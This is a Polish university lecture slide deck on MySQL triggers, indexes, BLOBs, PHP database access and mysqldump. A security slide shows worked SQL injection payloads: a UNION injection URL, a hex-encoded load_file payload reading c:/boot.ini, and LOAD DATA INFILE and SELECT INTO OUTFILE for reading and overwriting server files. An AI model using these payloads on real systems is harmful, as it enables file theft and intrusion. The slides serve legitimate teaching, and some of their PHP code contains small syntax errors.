Bazy Danych Wykład 7 Wojciech St. Mościbrodzki

Slides:



Advertisements
Podobne prezentacje
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Advertisements

Indeksy w bazie danych Oracle
Procedury wyzwalane Procedura wyzwalana (ang. trigger) - stanowi kod użytkownika przechowywany wewnątrz bazy i uruchamiany w określonych sytuacjach np.
Wykład 3 Prowadzący: dr Paweł Drozda
Skrypty, procedury przechowywane i wyzwalane
SQL INJECTION Wykorzystanie błędów w językach skryptowych
Bazy danych II Instrukcja SELECT Piotr Górczyński 25/08/2001.
Język SQL Część II.
Podejście relacyjne Podejście relacyjne opiera się na wykorzystaniu do przedstawiania danych modelu relacyjnego i zarządzania nimi matematycznego modelu.
Bazy danych 8. SQL podstawy P. F. Góra semestr letni 2004/05.
Relacyjne Bazy Danych Wykład 02/03 Wojciech St
PHP + MySQL część II.
WPROWADZENIE DO BAZ DANYCH
(c) 1999, Instytut Informatyki Politechniki Poznańskiej Rozdział 7: Relacje i ograniczenia integralnościowe Język definiowania danych - DDL (Data Definition.
Porównanie wydajności MySQL i Adabas D
Metody autoryzacji użytkowników wymaga integracji z systemem operacyjnym nie wymaga logowania mała pewność mechanizmu wymaga logowania duża pewność mechanizmu.
Obsługa plików csv Do odczytu z pliku csv można użyć następującego kodu: $fp = fopen ("strony.csv","r"); $num = 0; while ($data = fgetcsv ($fp, 1000, ";"))
Bezpieczeństwo Procedury składowane Funkcje i Wyzwalacze
ZSBD PL/SQL CZĘŚĆ 3 Wykład 5 Prowadzący: dr Paweł Drozda.
Język definicji danych (Data Definition Language)
Język definicji danych (Data Definition Language)
WYZWALACZE (TRIGGERY) Wyzwalacz jest specjalnym rodzajem procedury składowanej, która może być wykonana w odpowiedzi na jedną z trzech sytuacji: UPDATE.
SQL select kredytobiorca,bank, rodzaj, data_zawarcia, klasyfikacja,kwota, terminzapadalnosci-data_zawarcia iledni from tab_kredyt where (terminzapadalnosci-data_zawarcia)>1095.
POWTÓRZENIE Główne elementy składni SQL: Zasady ogólne
Procedury i funkcje Tworzenie: CREATE
Wykład 2 Wojciech Pieprzyca
Wykład 5 Wojciech Pieprzyca
Bezpieczeństwo danych
Projekt współfinansowany przez Unię Europejską w ramach Europejskiego Funduszu Społecznego Relacyjne Bazy Danych (Oracle) Prezentacja jest współfinansowana.
Technologia.Net Bazy danych. Technologia ADO.Net Służy do dostarczania danych z rożnych źródeł (baz danych) do aplikacji Jest produktem Microsoft Umożliwia.
Język SQL – ciąg dalszy DML (Data Manipulation Language)
Język SQL (Structured Query Language) DDL (Data Definition Language)
Przykład włamania do aplikacji internetowej poprzez modyfikację zapytań SQL Skrypty ASP Serwer bazy danych MS SQL Server Piotr Kuźniacki BDi.
Autor: Maciej Piwowarczyk
Autor: Maciej Piwowarczyk
Wprowadzenie do JSP Copyright © Politecnico di Milano September 2003 Translation: Kamil Żyła, Politechnika Lubelska.
SQL – Structured Query Language (3)
MySQL – ODBC - ACCESS.
Instrukcje: CREATE, INSERT, UPDATE, DELETE, DROP
SQL – Structured Query Language (1)
Użytkownicy i przywileje Sesja - przykład Błędy Komunikacja międzyskryptowa Wykład 83PD Technologie internetowe.
SYSTEMY TELEINFORMATYCZNE
MySQL bazy danych dla witryny
ASP BAZY. 2.2 S. Wolek Wst. do Inf. Połączenie z bazą danych przez ADO (ActiveX Data Object) do: - źródła ODBC - bazy z podanie nazwy sterownika ODBC.
SQL - Structured Query Language
Aplikacje bazodanowe ADO.NET PHP i MySQL
Tworzenie Aplikacji Internetowych dr Wojciech M. Gańcza 3.
Jak zacząć w MS SQL? USE master; GO IF DB_ID (Nbaza') IS NOT NULL DROP DATABASE baza; GO CREATE DATABASE baza; GO USE baza; GO.
Komendy SQL do pracy z tabelami i bazami
ASP BAZY DANYCH. 2 S. Wolek Wst. do Inf. Połączenie z bazą danych przez ADO (ActiveX Data Object) do: - źródła ODBC - bazy z podanie nazwy sterownika.
SYSTEMY TELEINFORMATYCZNE
PL/SQL – dalsza wędrówka
SQL – część II.
1 SBD, L.Banachowski Podstawy SQL - języka relacyjnych i obiektowo-relacyjnych baz danych (SQL2, SQL'1999, Oracle) Powtórzenie wyk ł adu 3.
1 SBD, L.Banachowski Zaawansowane cechy SQL Powtórzenie wyk ł adu 5.
Autor: Damian Urbańczyk
Technologie internetowe Wykład 5 Wprowadzenie do skrytpów serwerowych.
Bazy Danych W06 Wojciech St. Mościbrodzki
1 SBD, L.Banachowski Oprogramowanie strony serwera cz. 1 Powtórzenie wyk ł adu 6.
Komendy SQL do pracy z danymi
Wykład 3 Prowadzący: dr Paweł Drozda. Użytkownik bazy danych – osoba lub aplikacja, mająca dostęp do części danych zgromadzonych w bazie Uprawnienia –
Współpraca PHP i MySQL Wygodniejszym i wydajniejszym sposobem przechowywania i korzystania z danych zapisanych na serwerze jest współpraca z relacyjna.
ASP.NET Dostęp do bazy danych z poziomu kodu Elżbieta Mrówka-Matejewska.
1 Definicja danych: Do utworzenia tabeli służy instrukcja CREATE TABLE, wymagająca podania nazwy tworzonej tabeli, nazwy każdej kolumny w tej tabeli, typu.
1 Procedury i funkcje CREATE PROCEDURE nazwa ([proc_parameter[,...]]) [characteristic...] routine_body CREATE FUNCTION nazwa ([func_parameter[,...]]) RETURNS.
Bazy Danych Wykład 7 Wojciech St. Mościbrodzki
Strumienie, Wczytywanie, Zapisywanie, Operacje na plikach
Widoki (views) - Perspektywy:
Strukturalny język zapytań SQL - historia
Technologie Informacyjne Bazy danych
Zapis prezentacji:

Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos.com

TRIGGER – specyficzna stored procedure TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem obiekt standardowy SQL99 update licznik set imie_ile=select count(*) from imie +----------------+ | imie | |Jan | |Tadeusz | |Piotr | |Kacper | mysql> insert into imie values ('Czesio')

Klasyfikacja TRIGGERÓW Triggery (wyzwalacze) możemy podzielić: według kryterium czasu: triggery BEFORE triggery AFTER triggery INSTEAD OF (rzadko implementowane) według kryterium rodzaju operacji (związek z type operacji, a nie poleceniem!) triggery ON INSERT (działa także w przypadku LOAD DATA) triggery ON DELETE triggery ON UPDATE według kryterium obiektu strzeżonego triggery modyfikacji danych triggery modyfikacji struktury (trigger ALTER, DROP) triggery eventowe (trigger LOGIN)

Budowa TRIGGERA Ogólna postać: Prawa (MySql): CREATE [DEFINER = { user | CURRENT_USER }] TRIGGER trigger_name trigger_time trigger_event ON tbl_name FOR EACH ROW trigger_stmt delimiter | CREATE TRIGGER testref BEFORE INSERT ON test1 FOR EACH ROW BEGIN UPDATE test4 SET b4 = b4 + 1 WHERE a4 = 3; END; | delimiter ; Prawa (MySql): tworzenie triggerów wymaga praw TRIGGER dla danej tablicy (wcześniej: prawo globalne SUPER)

obiekty NEW i OLD Obiekty przechowujące wartość poprzednią i nową: create table t1 (id int, auto_increment primary key, liczba int); create table historia (z char(100), stamp timestamp) delimiter | CREATE TRIGGER moj1 AFTER UPDATE ON t1 FOR EACH ROW BEGIN INSERT INTO history(z) values (CONCAT(OLD.liczba,'->',NEW.liczba)); END; | delimiter ; update t1 set liczba=2 where id=1; insert into t1(liczba) values (222);

Obiekty OLD i NEW MySQL ułatwia wywołania obiektów poprzez nadanie im nazw delimiter | CREATE TRIGGER pensja_trigger BEFORE UPDATE ON pracownicy_table REFERENCING NEW ROW AS n, OLD ROW AS o FOR EACH ROW IF n.pensja <> o.pensja THEN --wykonaj odpowiednie działania; END IF; delimiter ;

Bezpieczniejsze tworzenie triggerów DROP TRIGGER IF EXISTS moj1; delimiter | CREATE TRIGGER moj1 AFTER UPDATE ON t1 FOR EACH ROW BEGIN INSERT INTO history (zapis) values (3); END; | delimiter ;

Indeks Indeks jest pomocniczą strukturą nakładaną na tabelę (ściślej: kolumnę lub grupę kolumn), służącą polepszaniu efektywności wyszukiwania. Indeksy pogarszają efektywność operacji udpate, delete i insert. CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type] index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH}

Indeksy w MySQL Silnik MySQL używa indeksów zwłaszcza do: Generowania wyników klauzuli WHERE Eliminowania krotek (DISTINCT) Generowania wyników JOIN (warto zadbać, aby indeksy były tego samego typu i wielkości – co ma znaczenie przy indeksach tekstowych) Generowania agregatów MIN i MAX Do sortowania za pomocą ORDER BY Uwaga: MySQL używa własnego algorytmu estymacji efektywności indeksów Każdy klucz główny jest indeksowany

Indeksy typu HASH i indeksy typu B-TREE Indeksy zbudowane na drzewach są bardziej elastyczne (dlatego są domyślnym typem) Z uwagi na budowę, indeks typu HASH: Może pracować tylko dla porównań >= <= oraz = (ale za to jest bardzo szybki) Nie przyspiesza sortowania z użyciem ORDER BY (bo nie daje możliwości "znalezienia następnego") Nie może ocenić ilości danych pomiędzy granicami wyszukiwania (BETWEEN) Indeksuje jedynie całą wartość klucza

TEXT i BLOB BLOB (Binary Large OBject) to typ danych służący do przechowywania dużych obiektów binarnych. TEXT to duże obiekty tekstowe (używają charsetu!) CREATE TABLE picture ( ID INTEGER AUTO_INCREMENT, IMAGE BLOB, PRIMARY KEY (ID) ) ENGINE=InnoDB;

Projektowanie baz danych jako proces ETAPY: Ustalenie wymagań odbiorcy Modelowanie konceptualne Modelowanie logiczne Modelowanie fizyczne Realizacja bazy danych Testowanie i walidacja

Problem Mentalna percepcja świata rzeczywistego Model pojęciowy Schemat relacyjnej struktury danych

PROJEKT i kolokwium Kolokwium: 25 pytań – 45 minut, suma = 30 punktów pytania testowe + pytania otwarte na pewno będzie (...się można spodziewać): składnie: SELECT, UPDATE, INSERT, DELETE zbudować zapytania do przedstawionego ERD narysować prosty ERD (znaleźć błędy?) poprawić ERD postaci normalne JOIN – na 2 i 3 tablicach tworzenie procedur i funkcji zwracanie wartości indeksy najważniejsze funkcje SQL OUTER/INNER/NATURAL TRIGGER

BLOB BLOB – przechowywanie dużych obiektów przechowuje duże dane binarne cztery podtypy: TINYBLOB: 2^8 bajtów BLOB: 2^16 bajtów MEDIUMBLOB: 2^24 bajtów LONGBLOB: 2^32 bajtów zasadniczo: BLOB=duży VARBINARY CREATE TABLE picture ( ID INTEGER AUTO_INCREMENT, IMAGE BLOB, PRIMARY KEY (ID) ) ENGINE=InnoDB;

BLOB i obrazki Dwie formy tworzenia multimedialnych baz: przechowywanie obiektów (BLOB) LOAD DATA / SELECT INTO OUTFILE: przechowywanie referencji (nazwy) LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name' INTO TABLE tbl_name [{FIELDS | COLUMNS} [TERMINATED BY 'string'] [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] SELECT ... INTO OUTFILE 'savefilename'

Operator UNION UNION jest operatorem do łączenia wyników 2+ selectów SELECT ... UNION [ALL | DISTINCT] SELECT ... [UNION [ALL | DISTINCT] SELECT ...] UNION zakłada, że odpowiednie kolumny mają ten sam typ Możliwe jest stosowanie ORDER, SORT, LIMIT na całej unii: (SELECT a FROM t1 WHERE a=10 AND B=1) UNION (SELECT a FROM t2 WHERE a=11 AND B=2) ORDER BY a LIMIT 10;

Automatyczne wypełnianie tablic z użyciem procedur Indeksy + Automatyczne wypełnianie tablic z użyciem procedur

Funkcja tworząca losowy ciąg znaków o zadanej długości delimiter ;; drop function if exists rndtxt; create function rndtxt(dlugosc int) returns text begin declare i int default dlugosc; declare result text default ''; declare znak char(1); while (i > 0) do set i = i - 1; set znak = char( floor(65 + RAND()*(91-65)) ); set result = concat(result, znak); end while; return result; end ;; delimiter ;

Funkcja tworząca losowego człowieka (imię) – 1/2 create table imie(id int auto_increment primary key, wartosc char(30));

Funkcja tworząca losowego człowieka: (imie) – 2/2 CREATE FUNCTION imie() RETURNS CHAR(50) BEGIN DECLARE temp char(50); select wartosc into temp from imie order by rand() limit 1; set temp := concat(ucase(substring(temp,1,1)),substring(temp,2)); return temp; END; Funkcja tworząca losowego człowieka: (nazwisko) – 1/2 create table sylaba (int id auto_increment primary key, wartosc char(5)); insert into sylaba(wartosc) values ('ko'); insert into sylaba(wartosc) values ('pa'); insert into sylaba(wartosc) values ('fi'); insert into sylaba(wartosc) values ('gu'); insert into sylaba(wartosc) values ('ba'); insert into sylaba(wartosc) values ('sza'); insert into sylaba(wartosc) values ('tu'); insert into sylaba(wartosc) values ('sa'); insert into sylaba(wartosc) values ('ke');

Funkcja tworząca losowego człowieka: (nazwisko) – 2/2 drop function if exists nazwisko; delimiter ;; CREATE FUNCTION nazwisko(sylaby int) RETURNS CHAR(50) BEGIN DECLARE ile_sylab INT default sylaby; DECLARE nazwisko char(50) default ''; DECLARE temp char(5); while (ile_sylab>0) do select wartosc into temp from sylaba order by rand() limit 1; set nazwisko := concat(nazwisko,temp); set ile_sylab := ile_sylab - 1; end while; set nazwisko := concat(nazwisko,'cki'); set nazwisko := concat(ucase(substring(nazwisko,1,1)),substring(nazwisko,2)); return nazwisko; END; ;; delimiter ;

Przygotowanie dużej tabeli drop table if exists czlowiek; create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255)); create procedure MakeCzlowiek() begin declare sylab int; declare dane int; set sylab := floor(2 + RAND()*(2-0)); set dane := floor(255 + RAND()*(255-100)); insert into czlowiek(imie, nazwisko, dane) select imie(), nazwisko(sylab), rndtxt(dane); end;

Przygotowanie dużej tabeli drop table if exists czlowiek; create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255)); drop procedure if exists MakeLudzie; delimiter ;; create procedure MakeLudzie(IN ile int) begin declare licznik int default ile; while (licznik > 0) do call MakeCzlowiek(); set licznik := licznik - 1; end while; end; ;; delimiter ;

Przygotowanie dużej tabeli drop table if exists dane; create table dane (id int auto_increment primary key, dana1 char(255), dana2 char(255), dana3 char(255), dana4 char(255), dana5 varchar(50), dana6 char(255)); create procedure MakeDane(IN ile int) begin declare licznik int default ile; while (licznik > 0) do insert into dane(dana1, dana2, dana3, dana4, dana5, dana6) select rndtxt(rand()*200+10), rndtxt(rand()*250+100), rndtxt(rand()*100+50), rndtxt(rand()*250+200), rndtxt(rand()*200+100), rndtxt(rand()*250+10); set licznik := licznik - 1; end while; end;

Tabelka pośrednicząca: drop table if exists czldan; create table czldan (id_czl int, id_dan int); create procedure MakeLink() begin declare id_czl int; declare id_dan int; select id into id_czl from czlowiek order by rand() limit 1; select id into id_dan from dane order by rand() limit 1; insert into czldan values (id_czl, id_dan); end; create procedure MakeLinks(IN ile int) while (ile>0) do call MakeLink(); set ile = ile - 1; end while;

Indeksy Indeks jest strukturą bazy danych przeznaczoną do przyspieszania wyszukiwania Indeksy: bezklastrowe (leksykony) klastrowe (skorowidze) CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type] index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH | RTREE}

Działanie indeksów Trudne zapytania: select imie, nazwisko from czlowiek left outer join czldan on (czlowiek.id=czldan.id_czl) left outer join dane on (czldan.id_dan=dane.id) order by dana5, nazwisko desc; ... 156638 rows in set (1 min 43.33 sec) create index ind1 on dane(dana5(5)); create index ind2 on czldan(id_czl); create index ind3 on czldan(id_dan); create index ind4 on dane(dana5(50)); ... 156638 rows in set (4.15 sec)

Implementacja MySQL w PHP Implementacja obsługi mySQL odbywa się w postaci natywnego API dla PHP: mysql, mysqli lub PDO Alternatywą jest stosowanie Open Connectivity (np. ODBC): mySQL mySQLi PDO ODBC ODBC

PHP i MySQL Konstrukcja dynamicznego HTML z szablonu w PHP i danych:

Operacje na bazie przeprowadzane są przez handlery połączeń (my)SQL w PHP Operacje na bazie przeprowadzane są przez handlery połączeń PHP zapewnia specjalny typ resource: połączenie z serwerem HTTP connection MySQL query MySQL connection

mysql_connect resource mysql_connect ( [ string $serwer [, string $nazwa_użytkownika [, string $hasło [, bool $nowe_połączenie [, int $flagi_klienta ]]]]] ) Serwer, do jakiego łączymy user password testowanie, jeśli już otwarte? dodatki

MySQL wysyła błędy do PHP – mogą być one przechwycone: Obsługa błędów MySQL wysyła błędy do PHP – mogą być one przechwycone: int mysql_errno ([ resource $link ] ) string mysql_error ([ resource $link ] ) Typowa obsługa: <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); if (!$link) {     die('Nie można się połaczyć: ' . mysql_error()); }; ?>

Wybranie połączenia z bazą (może być także – baza domyślna) Wybór bazy danych Wybranie połączenia z bazą (może być także – baza domyślna) bool mysql_select_db ( string $nazwa_bazy [, resource $identyfikator_połączenia ] ) <?php $link = mysql_connect('localhost', ‘user', ‘pass') or die('Nie połączono: '.mysql_error()); }; $db_selected = mysql_select_db(‘moja1', $link); if (!$db_selected) {     die ('Nie można ustawić moja1: '.mysql_error()); }; ?>

Sprzątamy po zakończeniu pracy Dobrze napisany skrypt usuwa po sobie połączenie (choć nie jest to konieczne dla połączeń nie-stałych); bool mysql_close ([ resource $link ] ) Dobry skrypt: otwórz-wybierz-query1-query2-…-queryN-zamknij <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); mysql_select_db(‘moja_baza’); Query1; // jak – za chwilę Query2; // itd. close($link); ?>

Zapytania: typu result i typu exec Zapytanie typu result zwraca JAKIŚ wynik (tabelę). Zapytania tego typu to: SELECT, DESCRIBE, EXPLAIN i SHOW Zapytanie typu exec wykonuje się na bazie danych i zwraca jedynie status (true, albo false). Typowe zapytania to CREATE, DELETE, DROP i INSERT. Oba typy zapytań obsługuje funkcja mysql_query. Dla zapytań result zwracany jest resource typu handler wyniku. Dla zapytań exec zwracany jest resource typu bool. resource mysql_query ( string $query [, resource $link [, int $typ_wyniku ]] ) Treść zapytania Handler połączenia (otwartego!) Flagi (np. buforowanie)

Zapytania takie mają prostą obsługę błędów: Zapytania typu exec Zapytania takie mają prostą obsługę błędów: <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = "insert into faktura values (‘N12943’)"; $result = mysql_query($query)     or die("Zapytanie niepoprawne:".mysql_error()); close($link); ?> zwrócona wartość to TRUE lub FALSE Dodatkowo, można sprawdzić, ile krotek uległo zmianie (DELETE!): int mysql_affected_rows ([ resource $link ] ) int mysql_insert_id ([ resource $ link ] )

zwrócona wartość to handler tablicy Zapytania typu result Zapytania tego typu zwracają tabelę (jako handler wyniku) z danymi. Jest ona przetwarzana wolniej niż kursor SQL. mixed mysql_result ( resource $wynik, int $wiersz [, mixed $pole ] ) Wynik zwrócony przez mysql_query() Który wiersz wyniku (numerowanie od 0) Która kolumna wyniku (numerowanie od 0) zwrócona wartość to handler tablicy <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = mysql_query("select * from faktura")     or die("Zapytanie niepoprawne:".mysql_error()); $dana = mysql_result($result,0,0); echo $dana; close($link); ?>

Kursor - Szybka forma przetwarzania Funkcja mysql_fetch_row działa szybciej niż mysql_result array mysql_fetch_row (resource $wynik) bool mysql_data_seek (resource $wynik, int $nr) mysql_query() mysql_data_seek() mysql_fetch_row() int mysql_num_rows (resource $wynik) mysql_data_fields() int mysql_num_fields (resource $wynik) mysql_num_rows()

Obsługa kursora po stronie PHP function DBArrayQuery($query) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = @mysql_query($query); $tablica = array(); $num_fields = mysql_num_fields($result); // kursor - X $num_rows = mysql_num_rows($result); // kursor - Y $nr_row = 0; while ($nr_row < $num_rows) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < $num_fields) { $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; }; return $tablica; };

Obsługa praw dostępu Autoryzacja za pomocą wielu użytkowników: database: mysql database: mysql Autoryzacja za pomocą auth-usera: database: moja

Typowe problemy: Na stronach zbudowanych w oparciu o PHP często napotykamy na błędy przy wywołaniu takiej funkcji: function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”; @mysql_query($query); mysql_close($link); }; ... DBInsert(‘Kowalski’); Dlaczego?

Aby tego uniknąć można zastosować funkcję ochronną: Typowe problemy: Problemem jest fakt, że użytkownik lub autor skryptu może dopisać do zapytania łańcuchy zaburzające składnię SQL: function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”; @mysql_query($query); }; DBInsert(” d`Artagnan ”); insert into pracownik (nazwisko) values (’d’Artagnan’); Aby tego uniknąć można zastosować funkcję ochronną: string mysql_escape_string ( string $łańcuch )

Tablica SQL w tabelce HTML dzięki tablicy PHP Etapy rozwiązywania problemu: Obsłużyć połączenie z bazą danych Wysłać zapytanie Odebrać rezultat i wpisać do tablicy dwuwymiarowej w PHP Opakować zawartość tablicy PHP w znaczniki HTML Funkcja tworząca połączenie: function DBlink($db_base, $db_user, $db_pass) { $link = mysql_connect($db_host, $db_user, $db_pass) or die ('Cant access: ' . mysql_error()); mysql_select_db($db_base, $link); or die ('Cant switch to DB: ' . mysql_error()); return $link; };

Tablica SQL w tabelce HTML dzięki tablicy PHP Funkcja wysyłająca zapytanie i odbierająca wynik: function DBArrayQuery($query) { $link = DBlink(); $result = @mysql_query($query); $tablica = array(); $nr_row = 0; while ($nr_row < mysql_num_rows($result)) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < mysql_num_fields($result); ){ $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; }; return $tablica; };

Tablica SQL w tabelce HTML dzięki tablicy PHP Funkcja obsługująca wynik w postaci HTML: function HTMLize($tablica) { echo ”<TABLE BORDER=1>”; foreach ($tablica as $wiersz) { echo ”<TR>”; foreach ($wiersz as $komorka) { echo ”<TD>”. $komorka . ”</TD>”; }; echo ”</TD>”; }; }; Program główny: HTMLize(DBArrayQuery(”select name, ind from student”));

Uwagi o bezpieczeństwie Najważniejsze przykazania: NIGDY nie pisz skryptów łączących się do bazy jako root (mysql) NIGDY nie uruchamiaj serwera bazy danych z konta superusera Nie dopuszczaj do wykonania komendy LOAD DATA INFILE z sieci Nie dopuszczaj do wykonania komendy SELECT INTO OUTFILE z sieci Nie pozwalaj na generowanie dowolnych SQLi przez użytkownika Uważaj na SQL injection attack SQL Injection attack (UNION type): $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user']; $result = mysql_result($query); http://mojastrona.com/query.php?user=0 http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func

Atak typu UNION + LOAD FILE W SQL łańcuch tekstowy można reprezentować jako jego wartości numeryczne. Na przykład: 'c:/boot.ini' jest równoznaczne z: 0x633a2f626f6f742e696e69 Skoro tak to można wykonać zapytanie select 0x633a2f626f6f742e696e69 A więc można wpisać taki URL: http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 I zobaczyć W PRZEGLĄDARCE: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N N N N N N N N N N N N N N N 1 1 1 1 1 1

Ataki typu DATA INFILE/DATA OUTFILE Ta metoda ataku wymaga dopuszczenia zapytań SQL podawanych przez klienta. Żeby obejrzeć plik z serwera wystarczy: create table foo( line blob ); load data infile 'c:/boot.ini' into table foo; select * from foo; Ta metoda ataku pozwala (na niespatchowanym mysql) na podmianę plików konfiguracyjnych: create table xxx( line text ); insert into xxx values (”A to mój nowy plik konfiguracyjny”); select line from xxx into c:\mysql\mysql.cnf

Zarządzanie i administracja MySQL

mysqldump Do przygotowywania zrzutów danych z serwera służy mysqldump Programiku mysqldump używa się najczęściej z parametrami: -uuser – użytkownik (musi mieć odpowiednie prawa do bazy danych) -ppassword – hasło (warto otoczyć hasło cudzysłowami) --all-databases – jeśli chcemy archiwizować wszystkie bazy Przykład: mysqldump –uroot –p”taki;kera” bazatestowa Zrzuty wykonuje się często do pliku tekstowego: mysqldump –uroot –p”taki;kera” bazatestowa > zrzut.bazatestowa.sql Wynik działania jest gotowym skryptem sql do wykorzystania

mysqldump -- MySQL dump 10.11 -- -- Host: localhost Database: poligon -- ------------------------------------------------------ -- Server version 5.0.77 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

-- -- Table structure for table `user` DROP TABLE IF EXISTS `user`; SET @saved_cs_client = @@character_set_client; SET character_set_client = utf8; CREATE TABLE `user` ( `id` int(11) NOT NULL auto_increment, `imie` char(30) default NULL, `nazwisko` char(50) default NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; SET character_set_client = @saved_cs_client;

-- -- Dumping data for table `user` LOCK TABLES `user` WRITE; /*!40000 ALTER TABLE `user` DISABLE KEYS */; INSERT INTO `user` VALUES (1,'Jan','Kowalski'); /*!40000 ALTER TABLE `user` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;